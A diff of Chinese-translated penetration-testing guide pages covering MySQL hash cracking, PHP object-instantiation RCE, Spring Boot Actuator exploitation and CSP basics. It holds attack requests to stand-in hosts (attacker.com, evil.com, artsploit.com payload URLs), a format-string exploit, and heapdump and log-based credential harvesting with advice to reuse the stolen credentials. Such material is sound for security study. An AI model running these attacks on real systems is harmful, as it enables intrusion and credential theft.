MySQL ≥ 8.0 将密码哈希存储为 **`$mysql-sha2$`**(SHA-256)。自 2023 年起,Hashcat(mode **21100**)和 John-the-Ripper(`--format=mysql-sha2`)都支持离线破解。导出 `authentication_string` 列并直接喂给它:
 | 
			
		||||
```bash
 | 
			
		||||
# extract hashes
 | 
			
		||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
 | 
			
		||||
@ -692,12 +691,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
 | 
			
		||||
# John the Ripper
 | 
			
		||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 | 
			
		||||
```
 | 
			
		||||
### 加固清单 (2025)
 | 
			
		||||
• 将 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 设置好,以禁用大多数文件读/写原语。  
 | 
			
		||||
• 从应用账号移除 **`FILE`** 权限。  
 | 
			
		||||
• 在 Connector/J 上设置 `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(留空)。  
 | 
			
		||||
• 禁用未使用的认证插件并**强制使用 TLS**(`require_secure_transport = ON`)。  
 | 
			
		||||
• 监控是否出现 `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL` 以及突发的 `SET GLOBAL` 语句。
 | 
			
		||||
### 硬化检查清单 (2025)
 | 
			
		||||
• 将 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 设置为以阻止大多数文件读/写原语。  
 | 
			
		||||
• 从应用程序账户中移除 **`FILE`** 权限。  
 | 
			
		||||
• 在 Connector/J 上将 `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(留空)。  
 | 
			
		||||
• 禁用未使用的认证插件并**要求 TLS** (`require_secure_transport = ON`)。  
 | 
			
		||||
• 监控 `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL` 以及突发的 `SET GLOBAL` 语句。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -1,18 +1,18 @@
 | 
			
		||||
# PHP - RCE 滥用对象创建: new $_GET["a"]($_GET["b"])
 | 
			
		||||
# PHP - RCE 利用对象创建: new $_GET["a"]($_GET["b"])
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
这基本上是 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的摘要
 | 
			
		||||
这基本上是对 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的摘要
 | 
			
		||||
 | 
			
		||||
## 介绍
 | 
			
		||||
 | 
			
		||||
创建任意新对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致远程代码执行 (RCE),如 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 所述。本文件强调实现 RCE 的各种策略。
 | 
			
		||||
创建任意对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致 Remote Code Execution (RCE),详见 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)。本文档重点介绍实现 RCE 的各种策略。
 | 
			
		||||
 | 
			
		||||
## 通过自定义类或 Autoloading 实现 RCE
 | 
			
		||||
## RCE 通过自定义类或自动加载
 | 
			
		||||
 | 
			
		||||
语法 `new $a($b)` 用于实例化对象,其中 **`$a`** 表示类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入(例如 GET/POST),可能是字符串或数组,也可以来自 JSON,在那里它们可能表现为其他类型。
 | 
			
		||||
语法 `new $a($b)` 用于实例化对象,其中 **`$a`** 表示类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,它们可能是字符串或数组,或来自 JSON,在那里它们可能呈现为其他类型。
 | 
			
		||||
 | 
			
		||||
考虑下面的代码片段:
 | 
			
		||||
请考虑下面的代码片段:
 | 
			
		||||
```php
 | 
			
		||||
class App {
 | 
			
		||||
function __construct ($cmd) {
 | 
			
		||||
@ -31,9 +31,9 @@ $b = $_GET['b'];
 | 
			
		||||
 | 
			
		||||
new $a($b);
 | 
			
		||||
```
 | 
			
		||||
在这种情况下,将 `$a` 设置为 `App` 或 `App2`,并将 `$b` 设置为一个系统命令(例如 `uname -a`),会导致该命令被执行。
 | 
			
		||||
在这个例子中,将 `$a` 设置为 `App` 或 `App2`,并将 `$b` 设置为系统命令(例如 `uname -a`),会导致该命令被执行。
 | 
			
		||||
 | 
			
		||||
**Autoloading functions** 可以被利用,如果没有这些类可以直接访问。 这些函数在需要时会自动从文件加载类,并通过 `spl_autoload_register` 或 `__autoload` 定义:
 | 
			
		||||
**Autoloading functions** 可以被利用,如果没有这样的类可直接访问。这些函数会在需要时自动从文件中加载类,并通过 `spl_autoload_register` 或 `__autoload` 定义:
 | 
			
		||||
```php
 | 
			
		||||
spl_autoload_register(function ($class_name) {
 | 
			
		||||
include './../classes/' . $class_name . '.php';
 | 
			
		||||
@ -45,72 +45,72 @@ include $class_name . '.php';
 | 
			
		||||
 | 
			
		||||
spl_autoload_register();
 | 
			
		||||
```
 | 
			
		||||
自动加载(autoloading)的行为因 PHP 版本而异,从而提供不同的 RCE 可能性。
 | 
			
		||||
自动加载 (autoloading) 的行为因 PHP 版本而异,带来不同的 RCE 可能性。
 | 
			
		||||
 | 
			
		||||
## 通过内置类的 RCE
 | 
			
		||||
## 通过内置类实现 RCE
 | 
			
		||||
 | 
			
		||||
如果缺少自定义类或自动加载器,**内置的 PHP 类** 可能足以实现 RCE。这些类的数量通常在 100 到 200 之间,取决于 PHP 版本和所安装的扩展。可以使用 `get_declared_classes()` 列出它们。
 | 
			
		||||
如果没有自定义类或自动加载器,**内置 PHP 类** 可能足以实现 RCE。根据 PHP 版本和扩展,这些类的数量大约在 100 到 200 之间。可以使用 `get_declared_classes()` 列出它们。
 | 
			
		||||
 | 
			
		||||
可以通过反射 API 找出感兴趣的构造函数,如下面的示例和链接 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) 所示。
 | 
			
		||||
可以通过反射 API 确定感兴趣的构造函数,如下面示例和链接所示 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)。
 | 
			
		||||
 | 
			
		||||
**通过特定方法的 RCE 包括:**
 | 
			
		||||
 | 
			
		||||
### **SSRF + Phar Deserialization**
 | 
			
		||||
 | 
			
		||||
`SplFileObject` 类通过其构造函数启用 SSRF,允许连接到任意 URL:
 | 
			
		||||
`SplFileObject` 类通过其构造函数实现 SSRF,允许连接到任意 URL:
 | 
			
		||||
```php
 | 
			
		||||
new SplFileObject('http://attacker.com/');
 | 
			
		||||
```
 | 
			
		||||
SSRF 可能在使用 Phar 协议时导致 PHP 8.0 之前版本的 deserialization attacks。
 | 
			
		||||
SSRF 可以导致在 PHP 8.0 之前的版本中通过 Phar 协议发生反序列化攻击。
 | 
			
		||||
 | 
			
		||||
### **利用 PDOs**
 | 
			
		||||
 | 
			
		||||
PDO 类的构造函数允许通过 DSN strings 连接到数据库,可能允许文件创建或其他交互:
 | 
			
		||||
PDO 类的构造函数允许通过 DSN 字符串连接到数据库,可能导致创建文件或其他交互:
 | 
			
		||||
```php
 | 
			
		||||
new PDO("sqlite:/tmp/test.txt")
 | 
			
		||||
```
 | 
			
		||||
### **SoapClient/SimpleXMLElement XXE**
 | 
			
		||||
 | 
			
		||||
PHP 到 5.3.22 和 5.4.12 的版本容易受到通过 `SoapClient` 和 `SimpleXMLElement` 构造函数的 XXE 攻击,具体取决于 libxml2 的版本。
 | 
			
		||||
在 libxml2 的特定版本条件下,PHP(最高至 5.3.22 和 5.4.12)通过 `SoapClient` 和 `SimpleXMLElement` 构造函数易受 XXE 攻击。
 | 
			
		||||
 | 
			
		||||
## RCE 通过 Imagick 扩展
 | 
			
		||||
## 通过 Imagick Extension 实现 RCE
 | 
			
		||||
 | 
			
		||||
在对**项目依赖项**的分析中,发现通过实例化新对象可以利用 **Imagick** 进行**命令执行**。这提供了利用漏洞的机会。
 | 
			
		||||
在对一个项目依赖项的分析中,发现可以通过实例化新对象利用 Imagick 来进行 command execution。这为利用漏洞提供了机会。
 | 
			
		||||
 | 
			
		||||
### VID parser
 | 
			
		||||
### VID 解析器
 | 
			
		||||
 | 
			
		||||
发现 VID 解析器能够将内容写入文件系统中的任意指定路径。这可能导致将 PHP shell 放置到可通过 Web 访问的目录中,从而实现远程代码执行(RCE)。
 | 
			
		||||
发现 VID 解析器具有将内容写入文件系统任意指定路径的能力。这可能导致在可被 Web 访问的目录中放置 PHP shell,从而实现 Remote Code Execution (RCE)。
 | 
			
		||||
 | 
			
		||||
#### VID Parser + File Upload
 | 
			
		||||
 | 
			
		||||
需要注意的是 PHP 将上传的文件临时存放在 `/tmp/phpXXXXXX`。Imagick 中的 VID 解析器使用 **msl** 协议,可以在文件路径中处理通配符,从而将临时文件传送到选定的目标位置。该方法提供了在文件系统中实现任意文件写入的另一种途径。
 | 
			
		||||
需要注意的是,PHP 会将上传的文件临时存储在 `/tmp/phpXXXXXX`。Imagick 中的 VID 解析器,利用 **msl** 协议,可以在文件路径中处理通配符,从而将临时文件转移到选定位置。该方法为在文件系统中实现任意文件写入提供了另一种途径。
 | 
			
		||||
 | 
			
		||||
### PHP 崩溃 + Brute Force
 | 
			
		||||
### PHP Crash + Brute Force
 | 
			
		||||
 | 
			
		||||
一种在[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)中描述的方法涉及上传会在删除前触发服务器崩溃的文件。通过对临时文件名进行暴力猜测,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中有效。
 | 
			
		||||
在 [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 中描述的一种方法,涉及上传在删除之前触发服务器崩溃的文件。通过暴力破解临时文件名,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中被发现有效。
 | 
			
		||||
 | 
			
		||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
 | 
			
		||||
 | 
			
		||||
当用户输入控制类名(例如 `new $_GET['model']()`)时,PHP 7.0.0 在进行 `Throwable` 重构期间引入了一个短暂的 Bug,导致引擎在解析类名时错误地将其当作 printf 格式字符串处理。这使得可以在 PHP 内部利用经典的 printf 风格原语:leaks(使用 `%p`)、通过宽度说明符控制写入计数,以及针对进程内指针(例如 ELF 构建的 GOT 条目)使用 `%n` 执行任意写入。
 | 
			
		||||
当用户输入控制类名(例如,`new $_GET['model']()`)时,PHP 7.0.0 在进行 `Throwable` 重构期间引入了一个短暂的错误,导致引擎在解析类名时错误地将其视为 printf 格式字符串。这使得在 PHP 内实现经典的 printf 风格原语成为可能:leaks with `%p`,通过宽度说明符控制写入计数,以及使用 `%n` 对进程内指针(例如 ELF 构建上的 GOT 条目)进行任意写入。
 | 
			
		||||
 | 
			
		||||
Minimal repro vulnerable pattern:
 | 
			
		||||
最小复现的易受攻击模式:
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
$model = $_GET['model'];
 | 
			
		||||
$object = new $model();
 | 
			
		||||
```
 | 
			
		||||
利用概述(来自参考):
 | 
			
		||||
- Leak 地址 via `%p` in the class name to find a writable target:
 | 
			
		||||
- Leak addresses via `%p` in the class name to find a writable target:
 | 
			
		||||
```bash
 | 
			
		||||
curl "http://host/index.php?model=%p-%p-%p"
 | 
			
		||||
# Fatal error includes resolved string with leaked pointers
 | 
			
		||||
```
 | 
			
		||||
- 使用位置参数和宽度说明符设置精确的字节计数,然后 `%n` 将该值写入栈上可访问的地址,目标为 GOT 槽(例如 `free`)以部分覆盖为 `system`。
 | 
			
		||||
- 通过传递包含 shell 管道的类名来触发被劫持的函数,从而执行 `system("id")`。
 | 
			
		||||
- 使用位置参数和宽度说明符来设置精确的字节计数,随后使用 `%n` 将该值写入栈上可到达的地址,目标为 GOT 插槽(例如 `free`),以部分覆盖为 `system`。
 | 
			
		||||
- 通过传递包含 shell pipe 的类名触发被劫持的函数,从而调用 `system("id")`。
 | 
			
		||||
 | 
			
		||||
Notes:
 | 
			
		||||
- 仅适用于 PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105));在随后的版本中已修复。严重性:critical(如果存在任意类实例化)。
 | 
			
		||||
- Typical payloads 串联多个 `%p` 遍历栈,然后使用 `%.<width>d%<pos>$n` 来实现部分覆盖。
 | 
			
		||||
注意:
 | 
			
		||||
- 仅适用于 PHP 7.0.0(Bug [#71105](https://bugs.php.net/bug.php?id=71105));在随后的版本中已修复。如果存在任意类实例化,严重性:critical。
 | 
			
		||||
- 典型的 payload 会串联多个 `%p` 来遍历栈,然后使用 `%.<width>d%<pos>$n` 来实现部分覆盖。
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -6,29 +6,29 @@
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
**来源** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
 | 
			
		||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
 | 
			
		||||
 | 
			
		||||
## 利用 Spring Boot Actuators
 | 
			
		||||
## Exploiting Spring Boot Actuators
 | 
			
		||||
 | 
			
		||||
**查看原始文章:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
 | 
			
		||||
 | 
			
		||||
### **关键点:**
 | 
			
		||||
### **要点:**
 | 
			
		||||
 | 
			
		||||
- Spring Boot Actuators 会注册诸如 `/health`、`/trace`、`/beans`、`/env` 等端点。在 1 到 1.4 版本中,这些端点默认无需认证即可访问。从 1.5 开始,默认只有 `/health` 和 `/info` 被认为是非敏感的,但开发者经常会关闭相关安全配置。
 | 
			
		||||
- Spring Boot Actuators 注册诸如 `/health`、`/trace`、`/beans`、`/env` 等端点。在 1 到 1.4 版本中,这些端点可在未认证的情况下访问。从 1.5 起,默认只有 `/health` 和 `/info` 被视为非敏感端点,但开发者经常会关闭此安全设置。
 | 
			
		||||
- 某些 Actuator 端点可能会暴露敏感数据或允许危险操作:
 | 
			
		||||
- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart`` 和 `/heapdump`。
 | 
			
		||||
- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基路径下。
 | 
			
		||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 和 `/heapdump`。
 | 
			
		||||
- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下;而在 2.x 中,它们位于 `/actuator/` 基础路径下。
 | 
			
		||||
 | 
			
		||||
### **利用技术:**
 | 
			
		||||
 | 
			
		||||
1. **Remote Code Execution via '/jolokia'**:
 | 
			
		||||
- `/jolokia` actuator 端点暴露了 Jolokia Library,允许通过 HTTP 访问 MBeans。
 | 
			
		||||
- `reloadByURL` 操作可以被利用从外部 URL 重新加载 logging 配置,这可能导致盲 XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。
 | 
			
		||||
- 示例利用 URL:`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。
 | 
			
		||||
- `reloadByURL` action 可以被利用从外部 URL 重新加载日志配置,这可能导致 blind XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。
 | 
			
		||||
- 示例利用 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
 | 
			
		||||
2. **Config Modification via '/env'**:
 | 
			
		||||
 | 
			
		||||
- 如果存在 Spring Cloud Libraries,`/env` 端点允许修改环境属性。
 | 
			
		||||
- 可以操纵属性来利用漏洞,例如在 Eureka 的 serviceURL 中触发 XStream 反序列化漏洞。
 | 
			
		||||
- 可以操纵属性以利用漏洞,例如在 Eureka serviceURL 中的 XStream 反序列化漏洞。
 | 
			
		||||
- 示例 exploit POST 请求:
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
@ -40,22 +40,22 @@ Content-Length: 65
 | 
			
		||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3. **其他有用的设置**:
 | 
			
		||||
- 如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 等属性可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。
 | 
			
		||||
3. **Other Useful Settings**:
 | 
			
		||||
- 像 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 这样的属性可以被操纵以进行各种利用,例如 SQL 注入或修改数据库连接字符串。
 | 
			
		||||
 | 
			
		||||
### **补充信息:**
 | 
			
		||||
### **附加信息:**
 | 
			
		||||
 | 
			
		||||
- 默认 actuators 的完整列表可以在 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。
 | 
			
		||||
- 在 Spring Boot 2.x 中,`/env` 端点使用 JSON 格式来修改属性,但总体概念相同。
 | 
			
		||||
- Spring Boot 2.x 中的 `/env` 端点使用 JSON 格式来修改属性,但整体概念相同。
 | 
			
		||||
 | 
			
		||||
### **相关主题:**
 | 
			
		||||
 | 
			
		||||
1.  **Env + H2 RCE**:
 | 
			
		||||
- 有关利用 `/env` 端点与 H2 数据库结合的详细信息,请参见 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。
 | 
			
		||||
- 关于利用 `/env` 端点与 H2 数据库结合的详细信息,请参见 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。
 | 
			
		||||
 | 
			
		||||
2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
 | 
			
		||||
- Spring 框架对 HTTP pathname 中的 matrix 参数(`;`)的处理可以被利用进行 Server-Side Request Forgery (SSRF)。
 | 
			
		||||
- 示例 exploit 请求:
 | 
			
		||||
- Spring 框架对 HTTP 路径名中 matrix 参数(`;`)的处理可以被利用来触发 SSRF。
 | 
			
		||||
- 示例利用请求:
 | 
			
		||||
```http
 | 
			
		||||
GET ;@evil.com/url HTTP/1.1
 | 
			
		||||
Host: target.com
 | 
			
		||||
@ -63,9 +63,9 @@ Connection: close
 | 
			
		||||
```
 | 
			
		||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
 | 
			
		||||
 | 
			
		||||
如果暴露了 `/actuator/heapdump`,通常可以检索到完整的 JVM heap snapshot,其中经常包含实时的 secrets(DB creds、API keys、Basic-Auth、internal service URLs、Spring property maps 等)。
 | 
			
		||||
如果暴露了 `/actuator/heapdump`,通常可以检索到完整的 JVM heap 快照,里面经常包含活跃的 secrets(数据库凭证、API keys、Basic-Auth、内部服务 URL、Spring 属性映射等)。
 | 
			
		||||
 | 
			
		||||
- 下载并快速初筛:
 | 
			
		||||
- 下载并快速初步分析:
 | 
			
		||||
```bash
 | 
			
		||||
wget http://target/actuator/heapdump -O heapdump
 | 
			
		||||
# Quick wins: look for HTTP auth and JDBC
 | 
			
		||||
@ -74,8 +74,8 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
 | 
			
		||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- 使用 VisualVM 和 OQL 进行深入分析:
 | 
			
		||||
- 在 VisualVM 中打开 heapdump,检查 `java.lang.String` 的实例或运行 OQL 来搜索 secrets:
 | 
			
		||||
- 使用 VisualVM 和 OQL 进行更深入的分析:
 | 
			
		||||
- 在 VisualVM 中打开 heapdump,检查 `java.lang.String` 实例或运行 OQL 搜索 secrets:
 | 
			
		||||
```
 | 
			
		||||
select s.toString()
 | 
			
		||||
from java.lang.String s
 | 
			
		||||
@ -87,20 +87,19 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or
 | 
			
		||||
java -jar JDumpSpider-*.jar heapdump
 | 
			
		||||
```
 | 
			
		||||
典型的高价值发现:
 | 
			
		||||
- Spring `DataSourceProperties` / `HikariDataSource` objects 暴露 `url`、`username`、`password`。
 | 
			
		||||
- `OriginTrackedMapPropertySource` 条目泄露 `management.endpoints.web.exposure.include`、服务端口,以及 URL 中嵌入的 Basic-Auth(例如 Eureka `defaultZone`)。
 | 
			
		||||
- 内存中捕获的明文 HTTP 请求/响应片段,包括 `Authorization: Basic ...`。
 | 
			
		||||
- Spring `DataSourceProperties` / `HikariDataSource` 对象暴露的 `url`、`username`、`password`。
 | 
			
		||||
- `OriginTrackedMapPropertySource` 条目泄露 `management.endpoints.web.exposure.include`、服务端口,以及嵌入在 URL 中的 Basic-Auth(例如 Eureka `defaultZone`)。
 | 
			
		||||
- 以明文形式存在的 HTTP 请求/响应片段,包括内存中捕获的 `Authorization: Basic ...`。
 | 
			
		||||
 | 
			
		||||
提示:
 | 
			
		||||
- 使用面向 Spring 的 wordlist 快速发现 actuator endpoints(例如 SecLists 的 spring-boot.txt),并始终检查 `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env` 和 `/actuator/configprops` 是否也被暴露。
 | 
			
		||||
- 来自 heapdump 的 credentials 经常对相邻服务有效,有时也对系统用户(SSH)有效,因此应广泛尝试这些凭据。
 | 
			
		||||
 | 
			
		||||
- 使用以 Spring 为中心的字典快速发现 actuator 端点(例如 SecLists 的 spring-boot.txt),并始终检查 `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env` 和 `/actuator/configprops` 是否也被暴露。
 | 
			
		||||
- 来自 heapdump 的凭证常常可用于相邻服务,有时也可用于系统用户(SSH),因此广泛尝试这些凭证。
 | 
			
		||||
 | 
			
		||||
## Abusing Actuator loggers/logging to capture credentials
 | 
			
		||||
 | 
			
		||||
如果 `management.endpoints.web.exposure.include` 允许且 `/actuator/loggers` 被暴露,你可以动态将处理认证和请求处理的包的日志级别提升到 DEBUG/TRACE。配合可读的日志(通过 `/actuator/logfile` 或已知日志路径),这可能会 leak 登录流程中提交的 credentials(例如 Basic-Auth headers 或表单参数)。
 | 
			
		||||
如果 `management.endpoints.web.exposure.include` 允许并且暴露了 `/actuator/loggers`,你可以动态将处理认证和请求处理的包的日志级别提高到 DEBUG/TRACE。结合可读的日志(通过 `/actuator/logfile` 或已知的日志路径),这可能会 leak 在登录流程中提交的凭证(例如 Basic-Auth 头或表单参数)。
 | 
			
		||||
 | 
			
		||||
- 枚举并调高敏感 loggers:
 | 
			
		||||
- 枚举并提高敏感 logger:
 | 
			
		||||
```bash
 | 
			
		||||
# List available loggers
 | 
			
		||||
curl -s http://target/actuator/loggers | jq .
 | 
			
		||||
@ -123,14 +122,13 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
 | 
			
		||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- 触发 login/authentication 流量并在日志中解析 creds。在使用 gateway 做 auth 前端的微服务部署中,为 gateway/security 包启用 TRACE 通常会使 headers 和 form bodies 可见。有些环境甚至会周期性生成合成的 login traffic,一旦日志变得详细,harvesting 就十分容易。
 | 
			
		||||
- 触发登录/认证流量并在日志中解析凭证。在由 gateway 作为前端的微服务架构中,为 gateway/security 包启用 TRACE 通常会使头和表单体可见。一些环境甚至会定期生成合成登录流量,一旦日志详细级别提高,采集会变得非常容易。
 | 
			
		||||
 | 
			
		||||
注意:
 | 
			
		||||
- 完成后重置日志级别:`POST /actuator/loggers/<logger>` 并使用 `{ "configuredLevel": null }`。
 | 
			
		||||
- 如果 `/actuator/httpexchanges` 被暴露,它也会展示最近的请求元数据,可能包含敏感 headers。
 | 
			
		||||
- 完成后重置日志级别:`POST /actuator/loggers/<logger>`,body 为 `{ "configuredLevel": null }`。
 | 
			
		||||
- 如果暴露了 `/actuator/httpexchanges`,它也可能展示最近的请求元数据,其中可能包含敏感头信息。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## 参考资料
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
 | 
			
		||||
- [VisualVM](https://visualvm.github.io/)
 | 
			
		||||
 | 
			
		||||
@ -4,9 +4,9 @@
 | 
			
		||||
 | 
			
		||||
## 什么是 CSP
 | 
			
		||||
 | 
			
		||||
Content Security Policy (CSP) 被视为一种浏览器技术,主要用于**防护诸如跨站脚本攻击 (XSS) 之类的攻击**。它通过定义和说明浏览器可以从中安全加载资源的路径和来源来发挥作用。这些资源包括图片、frames 和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括 inline 资源,以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。
 | 
			
		||||
内容安全策略 (CSP) 被视为一种浏览器技术,主要旨在**抵御诸如跨站脚本 (XSS) 等攻击**。它通过定义并详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等元素。例如,策略可能允许从同一域(self)加载和执行资源,包括内联资源,以及通过诸如 `eval`、`setTimeout` 或 `setInterval` 之类的函数执行字符串代码。
 | 
			
		||||
 | 
			
		||||
CSP 的实现通过**响应头**或通过将**meta 元素嵌入 HTML 页面**来进行。浏览器会遵循该策略主动强制这些规定,并在检测到违规时立即阻止。
 | 
			
		||||
CSP 的实现通过 **响应头** 或在 HTML 页面中加入 **meta 元素** 来完成。遵循该策略后,浏览器会主动执行这些规定,并立即阻止任何被检测到的违规行为。
 | 
			
		||||
 | 
			
		||||
- 通过响应头实现:
 | 
			
		||||
```
 | 
			
		||||
@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 | 
			
		||||
```xml
 | 
			
		||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 | 
			
		||||
```
 | 
			
		||||
### 请求头
 | 
			
		||||
### 响应头
 | 
			
		||||
 | 
			
		||||
CSP 可以通过以下请求头来强制或监控:
 | 
			
		||||
CSP 可以通过以下响应头来强制执行或监控:
 | 
			
		||||
 | 
			
		||||
- `Content-Security-Policy`: 强制执行 CSP;浏览器会阻止任何违规行为。
 | 
			
		||||
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规但不阻止。适合在预生产环境中进行测试。
 | 
			
		||||
 | 
			
		||||
### 定义资源
 | 
			
		||||
 | 
			
		||||
CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和 `eval()` 的使用等方面。示例策略如下:
 | 
			
		||||
CSP 限制加载主动和被动内容的来源,控制诸如 inline JavaScript 的执行和 `eval()` 的使用等方面。示例策略如下:
 | 
			
		||||
```bash
 | 
			
		||||
default-src 'none';
 | 
			
		||||
img-src 'self';
 | 
			
		||||
@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
 | 
			
		||||
media-src https://videos.cdn.mozilla.net;
 | 
			
		||||
object-src 'none';
 | 
			
		||||
```
 | 
			
		||||
### Directives
 | 
			
		||||
### 指令
 | 
			
		||||
 | 
			
		||||
- **script-src**: 允许特定来源的 JavaScript,包括 URL、内联脚本,以及由事件处理程序或 XSLT 样式表触发的脚本。
 | 
			
		||||
- **default-src**: 设置默认策略,用于在缺少特定 fetch 指令时获取资源。
 | 
			
		||||
- **child-src**: 指定允许的资源,用于 web workers 和嵌入的 frame 内容。
 | 
			
		||||
- **connect-src**: 限制可以通过如 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。
 | 
			
		||||
- **frame-src**: 限制 frames 的 URL。
 | 
			
		||||
- **frame-ancestors**: 指定哪些来源可以嵌入当前页面,适用于 `<frame>`、`<iframe>`、`<object>`、`<embed>` 和 `<applet>` 等元素。
 | 
			
		||||
- **img-src**: 定义图片允许的来源。
 | 
			
		||||
- **font-src**: 指定使用 `@font-face` 加载字体的有效来源。
 | 
			
		||||
- **manifest-src**: 定义应用程序清单文件的允许来源。
 | 
			
		||||
- **script-src**: 允许 JavaScript 的特定来源,包括 URL、内联脚本,以及由事件处理器或 XSLT 样式表触发的脚本。
 | 
			
		||||
- **default-src**: 当缺少特定抓取指令时,为获取资源设置默认策略。
 | 
			
		||||
- **child-src**: 指定 web workers 和嵌入框架内容允许的资源。
 | 
			
		||||
- **connect-src**: 限制可以通过 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。
 | 
			
		||||
- **frame-src**: 限制用于框架的 URL。
 | 
			
		||||
- **frame-ancestors**: 指定哪些来源可以嵌入当前页面,适用于诸如 <frame>、<iframe>、<object>、<embed> 和 <applet> 等元素。
 | 
			
		||||
- **img-src**: 定义图像允许的来源。
 | 
			
		||||
- **font-src**: 指定通过 `@font-face` 加载字体的有效来源。
 | 
			
		||||
- **manifest-src**: 定义应用程序 manifest 文件的允许来源。
 | 
			
		||||
